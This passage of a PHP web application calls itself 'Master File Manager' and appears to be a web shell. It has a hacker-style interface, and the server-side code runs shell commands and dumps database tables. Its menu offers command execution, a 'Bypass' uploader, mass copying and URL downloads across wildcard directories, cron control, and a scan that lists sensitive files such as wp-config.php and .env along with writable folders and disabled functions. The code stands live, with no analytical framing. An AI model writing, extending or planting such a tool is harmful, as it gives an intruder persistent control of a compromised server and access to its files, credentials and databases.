            $pdo = new PDO("mysql:host=$host;dbname=$name;charset=utf8", $user, $pass);
            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            
            // Get columns
            $stmt = $pdo->query("DESCRIBE `$table`");
            $columns = $stmt->fetchAll(PDO::FETCH_COLUMN);
            
            // Get data
            $stmt = $pdo->query("SELECT * FROM `$table` LIMIT 100");
            $rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
            
            echo json_encode(['status' => 'success', 'columns' => $columns, 'rows' => $rows]);
        } catch (Exception $e) {
            echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
        }
        exit;
    }
    
    // Security Scan
    if ($ajax_action == 'security_scan') {
        $info = [];
        
        // Check sensitive files
        $sensitive_files = ['.htaccess', 'wp-config.php', 'config.php', '.env', 'php.ini', 'phpinfo.php'];
        foreach ($sensitive_files as $file) {
            if (file_exists($file)) {
                $perms = substr(sprintf('%o', fileperms($file)), -4);
                $info[] = "โš ๏ธ Sensitive file found: $file (perms: $perms)";
            }
        }
        
        // Check writable directories
        $writable_dirs = [];
        $check_dirs = ['.', 'wp-content', 'tmp', 'uploads'];
        foreach ($check_dirs as $dir) {
            if (is_dir($dir) && is_writable($dir)) {
                $writable_dirs[] = $dir;
            }
        }
        if (!empty($writable_dirs)) {
            $info[] = "๐Ÿ“ Writable directories: " . implode(', ', $writable_dirs);
        }
        
        // Check disabled functions
        $disabled = ini_get('disable_functions');
        $info[] = "๐Ÿ”’ Disabled functions: " . ($disabled ?: 'None');
        
        // Check open_basedir
        $basedir = ini_get('open_basedir');
        $info[] = "๐Ÿ“‚ open_basedir: " . ($basedir ?: 'Not set');
        
        // Check allow_url_fopen
        $allow_url = ini_get('allow_url_fopen');
        $info[] = "๐ŸŒ allow_url_fopen: " . ($allow_url ? 'ON' : 'OFF');
        
        echo json_encode(['status' => 'success', 'info' => $info]);
        exit;
    }
    
    // Network Tools
    if ($ajax_action == 'network_ping') {
        $host = $_POST['host'];
        $output = commandExec("ping -c 4 " . escapeshellarg($host) . " 2>&1");
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    if ($ajax_action == 'network_curl') {
        $url = $_POST['url'];
        $output = commandExec("curl -I " . escapeshellarg($url) . " 2>&1");
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    if ($ajax_action == 'network_nslookup') {
        $domain = $_POST['domain'];
        $output = commandExec("nslookup " . escapeshellarg($domain) . " 2>&1");
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    // Info
    if ($ajax_action == 'get_info') {
        $info = [
            'php_version' => phpversion(),
            'user' => get_current_user(),
            'ip' => $_SERVER['REMOTE_ADDR'],
            'tmp_dir' => $tmp_dir,
            'session_id' => session_id(),
            'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
            'disabled_functions' => ini_get('disable_functions') ?: 'None',
            'safe_mode' => ini_get('safe_mode') ? 'ON' : 'OFF',
            'upload_max_filesize' => ini_get('upload_max_filesize'),
            'post_max_size' => ini_get('post_max_size'),
            'max_execution_time' => ini_get('max_execution_time') . 's',
            'memory_limit' => ini_get('memory_limit'),
            'server_time' => date('Y-m-d H:i:s'),
            'server_timezone' => date_default_timezone_get()
        ];
        echo json_encode(['status' => 'success', 'info' => $info]);
        exit;
    }
    
    echo json_encode(['status' => 'error', 'message' => 'Unknown action']);
    exit;
}

// ===== MAIN HTML =====
$current_path = getcwd();
?>
<!DOCTYPE html>
<html>
<head>
<title>Master File Manager v<?php echo MASTER_VERSION; ?> - Complete Edition</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
    * {
        box-sizing: border-box;
        margin: 0;
        padding: 0;
    }
    
    body {
        background: #0a0a0a;
        color: #0f0;
        font-family: 'Courier New', 'Fira Code', monospace;
        padding: 20px;
        margin: 0;
        font-size: 13px;
    }
    
    .container {
        max-width: 1600px;
        margin: 0 auto;
    }
    
    /* Header */
    .header {
        background: #0f0f0f;
        padding: 15px 20px;
        border-bottom: 2px solid #0f0;
        display: flex;
        justify-content: space-between;
        align-items: center;
        flex-wrap: wrap;
        gap: 15px;
        margin-bottom: 20px;
        border-radius: 8px 8px 0 0;
    }
    
    .header h1 {
        font-size: 18px;
        color: #0f0;
    }
    
    .logout-btn {
        background: #c00;
        color: #fff;
        padding: 8px 16px;
        text-decoration: none;
        border-radius: 5px;
        font-weight: bold;
    }
    
    .logout-btn:hover {
        background: #f00;
    }
    
    /* Menu */
    .menu {
        background: #111;
        padding: 10px;
        margin: 10px 0 20px 0;
        border: 1px solid #333;
        display: flex;
        flex-wrap: wrap;
        gap: 8px;
        border-radius: 5px;
    }
    
    .menu a {
        background: #1a1a1a;
        color: #0f0;
        padding: 6px 12px;
        text-decoration: none;
        border-radius: 4px;
        font-size: 12px;
        transition: all 0.2s;
        cursor: pointer;
    }
    
    .menu a:hover {
        background: #0f0;
        color: #000;
    }
    
    /* Panel */
    .panel {
        background: #0f0f0f;
        padding: 20px;
        margin: 15px 0;
        border: 1px solid #333;
        border-radius: 8px;
    }
    
    .panel h2 {
        font-size: 16px;
        margin-bottom: 15px;
        padding-bottom: 10px;
        border-bottom: 1px solid #333;
    }
    
    .panel h3 {
        font-size: 14px;
        margin-bottom: 10px;
        color: #0f0;
    }
    
    /* Breadcrumb */
    .breadcrumb {
        background: #111;
        padding: 10px 15px;
        margin: 10px 0;
        border: 1px solid #333;
        border-radius: 5px;
        font-size: 12px;
        word-break: break-all;
    }
    
    .breadcrumb a {
        color: #0ff;
        text-decoration: none;
    }
    
    .breadcrumb a:hover {
        text-decoration: underline;
    }
    
    /* Search box */
    .search-box {
        background: #111;
        padding: 10px;
        margin: 10px 0;
        display: flex;
        gap: 10px;
        flex-wrap: wrap;
        align-items: center;
        border-radius: 5px;
    }
    
    .search-box input {
        flex: 1;
        min-width: 200px;
    }
    
    /* Form elements */
    input, textarea, select {
        background: #1a1a1a;
        color: #0f0;
        border: 1px solid #333;
        padding: 8px 12px;
        font-family: monospace;
        border-radius: 4px;
    }
    
    input:focus, textarea:focus, select:focus {
        outline: none;
        border-color: #0f0;
    }
    
    button, .btn {
        background: #0f0;
        color: #000;
        border: none;
        padding: 8px 16px;
        cursor: pointer;
        font-family: monospace;
        font-weight: bold;
        border-radius: 4px;
        transition: all 0.2s;
    }
    
    button:hover, .btn:hover {
        background: #0ff;
        transform: scale(1.02);
    }
    
    button:disabled {
        opacity: 0.5;
        cursor: not-allowed;
    }
    
    /* File Table */
    .file-table-wrapper {
        overflow-x: auto;
        margin: 15px 0;
        border-radius: 5px;
    }
    
    .file-table {
        width: 100%;
        border-collapse: collapse;
        font-size: 12px;
    }
    
    .file-table th {
        background: #1a1a1a;
        color: #0f0;
        padding: 10px 8px;
        text-align: left;
        border-bottom: 2px solid #0f0;
    }
    
    .file-table td {
        padding: 8px;
        border-bottom: 1px solid #222;
        vertical-align: middle;
    }
    
    .file-table tr:hover {
        background: #1a2a1a;
    }
    
    /* Action buttons inside table */
    .action-group {
        display: flex;
        flex-wrap: wrap;
        gap: 5px;
        align-items: center;
    }
    
    .action-group input {
        padding: 4px 6px;
        font-size: 11px;
        width: auto;
    }
    
    .btn-small {
        background: #222;
        color: #0f0;
        border: 1px solid #0f0;
        padding: 3px 8px;
        font-size: 11px;
        border-radius: 3px;
        cursor: pointer;
    }
    
    .btn-small:hover {
        background: #0f0;
        color: #000;
    }
    
    .btn-danger {
        background: #600;
        border-color: #f00;
        color: #f99;
    }
    
    .btn-danger:hover {
        background: #c00;
        color: #fff;
    }
    
    /* Action panels */
    .action-panels {
        display: flex;
        flex-wrap: wrap;
        gap: 20px;
        margin-top: 20px;
        padding-top: 20px;
        border-top: 1px solid #333;
    }
    
    .action-panel {
        background: #111;
        padding: 15px;
        border-radius: 5px;
        flex: 1;
        min-width: 200px;
    }
    
    .action-panel h3 {
        font-size: 13px;
        margin-bottom: 10px;
        color: #0f0;
    }
    
    .action-panel input {
        width: 100%;
        margin-bottom: 8px;
    }
    
    /* Tab buttons */
    .tab-buttons {
        display: flex;
        margin: 10px 0;
    }
    
    .tab-btn {
        flex: 1;
        padding: 10px;
        background: #222;
        color: #0f0;
        border: none;
        cursor: pointer;
    }
    
    .tab-btn.active {
        background: #0f0;
        color: #000;
    }
    
    .tab-content {
        display: none;
        background: #111;
        padding: 20px;
        border: 1px solid #333;
        border-top: none;
    }
    
    .tab-content.active {
        display: block;
    }
    
    /* Dropzone */
    .dropzone {
        border: 2px dashed #0f0;
        padding: 30px;
        text-align: center;
        cursor: pointer;
        margin: 10px 0;
    }
    
    .dropzone:hover {
        background: #1a1a1a;
    }
    
    /* Messages */
    .success {
        color: #0f0;
        background: #0a1a0a;
        padding: 10px;
        border-left: 4px solid #0f0;
        margin: 10px 0;
    }
    
    .error {
        color: #f00;
        background: #1a0a0a;
        padding: 10px;
        border-left: 4px solid #f00;
        margin: 10px 0;
    }
    
    .loading {
        display: inline-block;
        width: 20px;
        height: 20px;
        border: 2px solid #0f0;
        border-radius: 50%;
        border-top-color: transparent;
        animation: spin 1s linear infinite;
        margin-right: 8px;
    }
    
    @keyframes spin {
        to { transform: rotate(360deg); }
    }
    
    /* Modal */
    .modal {
        display: none;
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: rgba(0,0,0,0.8);
        z-index: 1000;
        justify-content: center;
        align-items: center;
    }
    
    .modal.active {
        display: flex;
    }
    
    .modal-content {
        background: #0f0f0f;
        border: 2px solid #0f0;
        border-radius: 10px;
        padding: 20px;
        width: 90%;
        max-width: 900px;
        max-height: 80%;
        overflow: auto;
    }
    
    .modal-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-bottom: 15px;
        padding-bottom: 10px;
        border-bottom: 1px solid #333;
    }
    
    .modal-close {
        cursor: pointer;
        font-size: 20px;
    }
    
    /* Info table */
    .info-table {
        width: 100%;
        border-collapse: collapse;
    }
    
    .info-table th {
        text-align: left;
        padding: 8px;
        background: #1a1a1a;
        width: 200px;
    }
    
    .info-table td {
        padding: 8px;
        border-bottom: 1px solid #333;
    }
    
    /* Database table */
    .db-table {
        width: 100%;
        border-collapse: collapse;
        font-size: 12px;
        overflow-x: auto;
        display: block;
    }
    
    .db-table th, .db-table td {
        border: 1px solid #333;
        padding: 6px;
        text-align: left;
    }
    
    .db-table th {
        background: #1a1a1a;
        position: sticky;
        top: 0;
    }
    
    /* Responsive */
    @media (max-width: 900px) {
        body { padding: 10px; }
        .file-table th, .file-table td { padding: 6px 4px; }
        .action-group { flex-direction: column; align-items: flex-start; }
        .action-group input { width: 80px; }
    }
    
    @media (max-width: 700px) {
        .hide-mobile { display: none; }
    }
    
    .footer {
        text-align: center;
        margin-top: 30px;
        padding: 15px;
        border-top: 1px solid #333;
        color: #666;
        font-size: 11px;
    }
    
    pre {
        background: #111;
        padding: 10px;
        border: 1px solid #333;
        overflow: auto;
        white-space: pre-wrap;
        word-wrap: break-word;
    }
    
    code {
        background: #1a1a1a;
        padding: 2px 4px;
        border-radius: 3px;
    }
</style>
</head>
<body>
<div class="container">
    <div class="header">
        <h1>๐Ÿ”ง Master File Manager v<?php echo MASTER_VERSION; ?> (Complete Edition)</h1>
        <a href="?logout=1" class="logout-btn">๐Ÿšช Logout</a>
    </div>
    
    <div class="menu" id="menuBar"></div>
    
    <div id="mainContent">
        <div style="text-align:center;padding:40px">
            <div class="loading"></div> Loading...
        </div>
    </div>
    
    <div class="footer">
        <p>Master File Manager | Protected by bcrypt + Cookie Session | <?php echo date('Y-m-d H:i:s'); ?></p>
    </div>
</div>

<script>
// Global variables
let currentPath = '<?php echo addslashes($current_path); ?>';
let currentAction = 'filemanager';
let dbConfig = { host: 'localhost', user: 'root', pass: '', name: '' };

// Menu items
const menuItems = [
    { action: 'filemanager', label: '๐Ÿ“ File Manager', icon: '๐Ÿ“' },
    { action: 'mass', label: '๐Ÿ“ฆ Mass Upload', icon: '๐Ÿ“ฆ' },
    { action: 'gzip', label: '๐Ÿ”จ Gzip Maker', icon: '๐Ÿ”จ' },
    { action: 'multi_upload', label: '๐Ÿ“ค Multi Upload', icon: '๐Ÿ“ค' },
    { action: 'cron', label: 'โฐ Cron', icon: 'โฐ' },
    { action: 'dbmanager', label: '๐Ÿ—„๏ธ DB Manager', icon: '๐Ÿ—„๏ธ' },
    { action: 'rawupload', label: '๐Ÿ“ฅ Raw URL', icon: '๐Ÿ“ฅ' },
    { action: 'bypass', label: '๐Ÿ”“ Bypass', icon: '๐Ÿ”“' },
    { action: 'extract', label: '๐Ÿ“ฆ Extract', icon: '๐Ÿ“ฆ' },
    { action: 'cmd', label: 'โŒจ๏ธ Command', icon: 'โŒจ๏ธ' },
    { action: 'security', label: '๐Ÿ”’ Security', icon: '๐Ÿ”’' },
    { action: 'network', label: '๐ŸŒ Network', icon: '๐ŸŒ' },
    { action: 'info', label: 'โ„น๏ธ Info', icon: 'โ„น๏ธ' }
];

// Build menu
function buildMenu() {
    const menuBar = document.getElementById('menuBar');
    menuBar.innerHTML = '';
    menuItems.forEach(item => {
        const link = document.createElement('a');
        link.href = 'javascript:void(0)';
        link.innerHTML = `${item.icon} ${item.label}`;
        link.onclick = () => loadAction(item.action);
        menuBar.appendChild(link);
    });
}

// Load action
function loadAction(action) {
    currentAction = action;
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = '<div style="text-align:center;padding:40px"><div class="loading"></div> Loading...</div>';
    
    switch(action) {
        case 'filemanager':
            renderFileManager();
            break;
        case 'mass':
            renderMassUploader();
            break;
        case 'gzip':
            renderGzipMaker();
            break;
        case 'multi_upload':
            renderMultiUpload();
            break;
        case 'cron':
            renderCronManager();
            break;
        case 'dbmanager':
            renderDbManager();
            break;
        case 'rawupload':
            renderRawUpload();
            break;
        case 'bypass':
            renderBypassUploader();
            break;
        case 'extract':
            renderExtractManager();
            break;
        case 'cmd':
            renderCommand();
            break;
        case 'security':
            renderSecurityScan();
            break;
        case 'network':
            renderNetworkTools();
            break;
        case 'info':
            renderInfo();
            break;
        default:
            renderFileManager();
    }
}

// AJAX helper
function ajaxPost(data, callback) {
    const formData = new FormData();
    for (let key in data) {
        formData.append(key, data[key]);
    }
    formData.append('ajax_action', data.ajax_action);
    
    const xhr = new XMLHttpRequest();
    xhr.open('POST', window.location.href, true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    xhr.onload = function() {
        if (xhr.status === 200) {
            try {
                const response = JSON.parse(xhr.responseText);
                callback(response);
            } catch(e) {
                callback({status: 'error', message: 'Parse error: ' + e.message});
            }
        } else {
            callback({status: 'error', message: 'HTTP ' + xhr.status});
        }
    };
    xhr.onerror = function() {
        callback({status: 'error', message: 'Network error'});
    };
    xhr.send(formData);
}

// Escape HTML
function escapeHtml(str) {
    if (!str) return '';
    return String(str).replace(/[&<>]/g, function(m) {
        if (m === '&') return '&amp;';
        if (m === '<') return '&lt;';
        if (m === '>') return '&gt;';
        return m;
    });
}

// Show result message
function showResult(message, status, containerId = 'fileManagerResult') {
    const resultDiv = document.getElementById(containerId);
    if (resultDiv) {
        resultDiv.innerHTML = `<div class="${status === 'success' ? 'success' : 'error'}">${escapeHtml(message)}</div>`;
        setTimeout(() => { resultDiv.innerHTML = ''; }, 3000);
    } else {
        alert(message);
    }
}

// ========== FILE MANAGER ==========
function renderFileManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>๐Ÿ“ File Manager</h2>
            <div class="breadcrumb" id="breadcrumb"></div>
            <div class="search-box">
                <input type="text" id="searchInput" placeholder="๐Ÿ” Filter files...">
                <button onclick="searchFiles()">Cari</button>
                <button onclick="refreshFileManager()">Refresh</button>
                <button onclick="createZipFromSelection()" id="zipBtn" style="display:none">๐Ÿ“ฆ Create ZIP</button>
            </div>
            <div class="file-table-wrapper">
                <div id="fileTable"></div>
            </div>
            <div id="fileManagerResult"></div>
            <div class="action-panels">
                <div class="action-panel">
                    <h3>๐Ÿ“„ Create File</h3>
                    <input type="text" id="newFileName" placeholder="filename.php">
                    <button onclick="createFile()">Create</button>
                </div>
                <div class="action-panel">
                    <h3>๐Ÿ“ Create Folder</h3>
                    <input type="text" id="newFolderName" placeholder="foldername">
                    <button onclick="createFolder()">Create</button>
                </div>
                <div class="action-panel">
                    <h3>๐Ÿ“ค Upload File</h3>
                    <input type="file" id="uploadFile" style="margin-bottom:8px">
                    <button onclick="uploadFile()">Upload</button>
                </div>
            </div>
        </div>
    `;
    refreshFileManager();
}

function refreshFileManager() {
    const search = document.getElementById('searchInput')?.value || '';
    ajaxPost({ajax_action: 'list_files', path: currentPath, search: search}, function(res) {
        if (res.status === 'success') {
            currentPath = res.cwd;
            renderBreadcrumb(res.cwd);
            renderFileTable(res.files);
        } else {
            document.getElementById('fileTable').innerHTML = '<div class="error">Error loading files</div>';
        }
    });
}

function searchFiles() {
    refreshFileManager();
}

function renderBreadcrumb(cwd) {
    const parts = cwd.split('/').filter(p => p);
    let html = `๐Ÿ“ <b>Path:</b> <a href="javascript:goToPath('/')">/</a>`;
    let current = '';
    for (let part of parts) {
        current += '/' + part;
        html += ` / <a href="javascript:goToPath('${current}')">${escapeHtml(part)}</a>`;
    }
    document.getElementById('breadcrumb').innerHTML = html;
}

function goToPath(path) {
    currentPath = path;
    refreshFileManager();
}

let selectedItems = new Set();

function renderFileTable(files) {
    if (!files || files.length === 0) {
        document.getElementById('fileTable').innerHTML = '<div class="error">No files found</div>';
        return;
    }
    
    let html = `<table class="file-table">
        <thead>
            <tr>
                <th style="width:30px"><input type="checkbox" id="selectAll" onclick="toggleSelectAll()"></th>
                <th>Name</th>
                <th class="hide-mobile">Size</th>
                <th class="hide-mobile">Perms</th>
                <th class="hide-mobile">Modified</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>`;
    
    // Parent directory
    if (currentPath !== '/') {
        const parentPath = currentPath.substring(0, currentPath.lastIndexOf('/')) || '/';
        html += `<tr class="dir-row">
            <td></td>
            <td><a href="javascript:goToPath('${parentPath}')" style="color:#0ff">๐Ÿ“ [..] Parent Directory</a></td>
            <td class="hide-mobile">--</td>
            <td class="hide-mobile">--</td>
            <td class="hide-mobile">--</td>
            <td></td>
        </tr>`;
    }
    
    for (let file of files) {
        const icon = file.is_dir ? '๐Ÿ“' : '๐Ÿ“„';
        const isPhp = !file.is_dir && file.name.match(/\.(php|php\d*)$/i);
        const iconDisplay = isPhp ? '๐Ÿ˜' : icon;
        const isSelected = selectedItems.has(file.name);
        
        html += `<tr>
            <td>${!file.is_dir ? `<input type="checkbox" class="fileCheckbox" data-name="${escapeHtml(file.name)}" ${isSelected ? 'checked' : ''} onclick="toggleSelectItem('${escapeHtml(file.name)}')">` : ''}</td>
            <td>
                ${iconDisplay} ${file.is_dir ? 
                    `<a href="javascript:goToPath('${file.path}')" style="color:#0f0;font-weight:bold">${escapeHtml(file.name)}</a>` : 
                    `<a href="javascript:viewFile('${file.path}')" style="color:#0f0">${escapeHtml(file.name)}</a>`
                }
             </td>
            <td class="hide-mobile">${file.size_formatted}</td>
            <td class="hide-mobile">${file.perms}</td>
            <td class="hide-mobile">${file.modified}</td>
            <td>
                <div class="action-group">
                    ${!file.is_dir ? `<button class="btn-small" onclick="editFile('${file.path}')">โœ๏ธ Edit</button>` : ''}
                    <button class="btn-small btn-danger" onclick="deleteItem('${file.name}')">๐Ÿ—‘๏ธ Del</button>
                    <input type="text" id="rename_${file.name.replace(/[^a-zA-Z0-9]/g, '_')}" placeholder="new name" size="8">
                    <button class="btn-small" onclick="renameItem('${file.name}', document.getElementById('rename_${file.name.replace(/[^a-zA-Z0-9]/g, '_')}').value)">Rename</button>
                    <input type="text" id="chmod_${file.path.replace(/[^a-zA-Z0-9]/g, '_')}" value="${file.perms}" size="4">
                    <button class="btn-small" onclick="chmodItem('${file.path}', document.getElementById('chmod_${file.path.replace(/[^a-zA-Z0-9]/g, '_')}').value)">Chmod</button>
                    ${!file.is_dir && file.name.endsWith('.zip') ? `<button class="btn-small" onclick="extractZipHere('${file.path}')">๐Ÿ“ฆ Extract</button>` : ''}
                </div>
            </td>
        </tr>`;
    }
    
    html += `</tbody></table>`;
    document.getElementById('fileTable').innerHTML = html;
    
    // Show/hide ZIP button
    const zipBtn = document.getElementById('zipBtn');
    if (zipBtn) {
        zipBtn.style.display = selectedItems.size > 0 ? 'inline-block' : 'none';
    }
}

function toggleSelectAll() {
    const checkboxes = document.querySelectorAll('.fileCheckbox');
    const selectAll = document.getElementById('selectAll');
    checkboxes.forEach(cb => {
        cb.checked = selectAll.checked;
        if (selectAll.checked) {
            selectedItems.add(cb.dataset.name);
        } else {
            selectedItems.delete(cb.dataset.name);
        }
    });
    const zipBtn = document.getElementById('zipBtn');
    if (zipBtn) zipBtn.style.display = selectedItems.size > 0 ? 'inline-block' : 'none';
}

function toggleSelectItem(name) {
    if (selectedItems.has(name)) {
        selectedItems.delete(name);
    } else {
        selectedItems.add(name);
    }
    const zipBtn = document.getElementById('zipBtn');
    if (zipBtn) zipBtn.style.display = selectedItems.size > 0 ? 'inline-block' : 'none';
}

function createZipFromSelection() {
    if (selectedItems.size === 0) {
        alert('Pilih file/folder terlebih dahulu');
        return;
    }
    const zipName = prompt('Nama file ZIP:', 'archive_' + new Date().toISOString().slice(0,19).replace(/:/g, '-') + '.zip');
    if (!zipName) return;
    
    const items = Array.from(selectedItems);
    ajaxPost({
        ajax_action: 'create_zip',
        cwd: currentPath,
        zip_name: zipName,
        items: JSON.stringify(items)
    }, function(res) {
        if (res.status === 'success') {
            showResult(res.message, 'success');
            selectedItems.clear();
            refreshFileManager();
        } else {
            showResult(res.message, 'error');
        }
    });
}

function extractZipHere(zipFile) {
    if (!confirm('Extract ZIP to current directory?')) return;
    ajaxPost({ajax_action: 'extract_zip', zip_file: zipFile, extract_to: currentPath}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
    });
}

function createFile() {
    const filename = document.getElementById('newFileName').value;
    if (!filename) return alert('Masukkan nama file');
    ajaxPost({ajax_action: 'create_file', cwd: currentPath, filename: filename}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
        document.getElementById('newFileName').value = '';
    });
}

function createFolder() {
    const foldername = document.getElementById('newFolderName').value;
    if (!foldername) return alert('Masukkan nama folder');
    ajaxPost({ajax_action: 'create_folder', cwd: currentPath, foldername: foldername}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
        document.getElementById('newFolderName').value = '';
    });
}

function deleteItem(item) {
    if (!confirm(`Hapus ${item}?`)) return;
    ajaxPost({ajax_action: 'delete_item', cwd: currentPath, item: item}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
    });
}

function renameItem(oldName, newName) {
    if (!newName) return alert('Masukkan nama baru');
    ajaxPost({ajax_action: 'rename_item', cwd: currentPath, old: oldName, new: newName}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
    });
}

function chmodItem(filePath, perms) {
    if (!perms) return;
    ajaxPost({ajax_action: 'chmod_item', file: filePath, perms: perms}, function(res) {
        showResult(res.message, res.status);
        if (res.status === 'success') refreshFileManager();
    });
}

function viewFile(filePath) {
    ajaxPost({ajax_action: 'get_file_content', file: filePath}, function(res) {
        if (res.status === 'success') {
            const win = window.open();
            win.document.write(`<html><head><title>View File</title><style>body{background:#000;color:#0f0;font-family:monospace;padding:20px;white-space:pre-wrap;word-wrap:break-word}</style></head><body><pre>${escapeHtml(res.content)}</pre></body></html>`);
        } else {
            alert(res.message);
        }
    });
}

function editFile(filePath) {
    ajaxPost({ajax_action: 'get_file_content', file: filePath}, function(res) {
        if (res.status === 'success') {
            const mainContent = document.getElementById('mainContent');
            mainContent.innerHTML = `
                <div class="panel">
                    <h2>โœ๏ธ Editing: ${escapeHtml(filePath.split('/').pop())}</h2>
                    <textarea id="editorContent" style="width:100%;height:500px;background:#1a1a1a;color:#0f0;border:1px solid #333;padding:10px;font-family:monospace">${escapeHtml(res.content)}</textarea><br><br>
                    <button onclick="saveFileContent('${filePath}')">๐Ÿ’พ Save</button>
                    <button onclick="loadAction('filemanager')">โฌ…๏ธ Back</button>
                </div>
            `;
        } else {
            alert(res.message);
        }
    });
}

function saveFileContent(filePath) {
    const content = document.getElementById('editorContent').value;
    ajaxPost({ajax_action: 'save_file_content', file: filePath, content: content}, function(res) {
        if (res.status === 'success') {
            alert('File saved!');
            loadAction('filemanager');
        } else {
            alert('Save failed: ' + res.message);
        }
    });
}

function uploadFile() {
    const fileInput = document.getElementById('uploadFile');
    if (!fileInput.files.length) return alert('Pilih file');
    
    const formData = new FormData();
    formData.append('ajax_action', 'upload_file');
    formData.append('cwd', currentPath);
    formData.append('file', fileInput.files[0]);
    
    const xhr = new XMLHttpRequest();
    xhr.open('POST', window.location.href, true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    xhr.onload = function() {
        if (xhr.status === 200) {
            try {
                const res = JSON.parse(xhr.responseText);
                showResult(res.message, res.status);
                if (res.status === 'success') refreshFileManager();
                fileInput.value = '';
            } catch(e) {
                alert('Error: ' + e.message);
            }
        } else {
            alert('Upload failed');
        }
    };
    xhr.send(formData);
}

// ========== MASS UPLOADER (PERBAIKAN) ==========
function renderMassUploader() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>๐Ÿ“ฆ Mass Uploader</h2>
            <div style="background:#111;padding:15px;margin:10px 0;border-radius:5px">
                <h3>๐Ÿ“ Directory Tujuan</h3>
                <input type="text" id="targetDir" value="${currentPath}" style="width:100%">
                <small>Bisa pakai wildcard * untuk multiple folder</small>
            </div>
            <div style="background:#111;padding:15px;margin:10px 0;border-radius:5px">
                <h3>โš™๏ธ Depth Setting</h3>
                <select id="depth">
                    <option value="0">Depth 0 - Langsung ke folder tujuan</option>
                    <option value="1">Depth 1 - Pertahankan 1 level folder</option>
                </select>
            </div>
            <div class="tab-buttons">
                <button class="tab-btn active" onclick="showMassTab('copy')">๐Ÿ“‹ Copy File</button>
                <button class="tab-btn" onclick="showMassTab('url')">๐ŸŒ URL Download</button>
            </div>
            <div id="massTabCopy" class="tab-content active">
                <h3>๐Ÿ“‹ Copy File dari Server</h3>
                <textarea id="fileList" style="width:100%;height:150px;font-family:monospace" placeholder="/home/user/file1.txt&#10;/var/www/*.php&#10;/path/to/folder/*"></textarea>
                <button onclick="processMassAction('copy')" style="margin-top:10px">๐Ÿš€ COPY FILES</button>
            </div>
            <div id="massTabUrl" class="tab-content">
                <h3>๐ŸŒ Download dari URL</h3>
                <textarea id="urlList" style="width:100%;height:150px;font-family:monospace" placeholder="https://example.com/file1.jpg&#10;https://example.com/file.php|custom.php"></textarea>
                <button onclick="processMassAction('url')" style="margin-top:10px">๐Ÿš€ DOWNLOAD FILES</button>
            </div>
            <div id="massResult"></div>
        </div>
    `;
}

function showMassTab(tab) {
    const copyTab = document.getElementById('massTabCopy');
    const urlTab = document.getElementById('massTabUrl');
    const btns = document.querySelectorAll('.tab-btn');
    
    if (tab === 'copy') {
        copyTab.classList.add('active');
        urlTab.classList.remove('active');
        btns[0].classList.add('active');
        btns[1].classList.remove('active');
    } else {
        copyTab.classList.remove('active');
        urlTab.classList.add('active');
        btns[0].classList.remove('active');
        btns[1].classList.add('active');
    }
}

function processMassAction(action) {
    const targetDir = document.getElementById('targetDir').value;
    const depth = document.getElementById('depth').value;
    let data = {
        ajax_action: 'mass_upload',
        mass_action: action,
        target_dir: targetDir,
        depth: depth
    };
    
    if (action === 'copy') {
        data.file_list = document.getElementById('fileList').value;
        if (!data.file_list.trim()) {
            alert('Masukkan daftar file');
            return;
        }
    } else {
        data.url_list = document.getElementById('urlList').value;
        if (!data.url_list.trim()) {
            alert('Masukkan daftar URL');
            return;
        }
    }
    
    const resultDiv = document.getElementById('massResult');
    resultDiv.innerHTML = `
        <div style="text-align:center;padding:20px">
            <div class="loading"></div> 
            <span>Processing mass upload...</span>
        </div>
    `;
    
    ajaxPost(data, function(res) {
        if (res.success !== undefined) {
            let html = `
                <div style="margin-top:20px;background:#0a1a0a;border:1px solid #0f0;border-radius:8px;padding:0;overflow:hidden">
                    <div style="background:#0f0;color:#000;padding:10px 15px;font-weight:bold">
                        ๐Ÿ“Š HASIL MASS UPLOAD
                    </div>
                    <div style="padding:15px">
                        <div style="display:flex;gap:20px;flex-wrap:wrap;margin-bottom:20px">
                            <div style="background:#0a2a0a;padding:10px 20px;border-radius:5px;text-align:center">
                                <div style="font-size:24px;color:#0f0;font-weight:bold">${res.success}</div>
                                <div style="font-size:12px">โœ… Sukses</div>
                            </div>
                            <div style="background:#2a0a0a;padding:10px 20px;border-radius:5px;text-align:center">
                                <div style="font-size:24px;color:#f00;font-weight:bold">${res.failed}</div>
                                <div style="font-size:12px">โŒ Gagal</div>
                            </div>
                            <div style="background:#1a1a2a;padding:10px 20px;border-radius:5px;text-align:center">
                                <div style="font-size:24px;color:#0ff;font-weight:bold">${res.total}</div>
                                <div style="font-size:12px">๐Ÿ“ฆ Total</div>
                            </div>
                        </div>
            `;
            
            if (res.results && res.results.length) {
                html += `
                    <details open>
                        <summary style="cursor:pointer;font-weight:bold;margin-bottom:10px">๐Ÿ“‹ Detail Proses (${res.results.length} items)</summary>
                        <div style="max-height:400px;overflow-y:auto;border:1px solid #333;border-radius:5px">
                            <table style="width:100%;border-collapse:collapse;font-size:12px">
                                <thead style="position:sticky;top:0;background:#1a1a1a">
                                    <tr>
                                        <th style="padding:8px;text-align:left;border-bottom:1px solid #333">#</th>
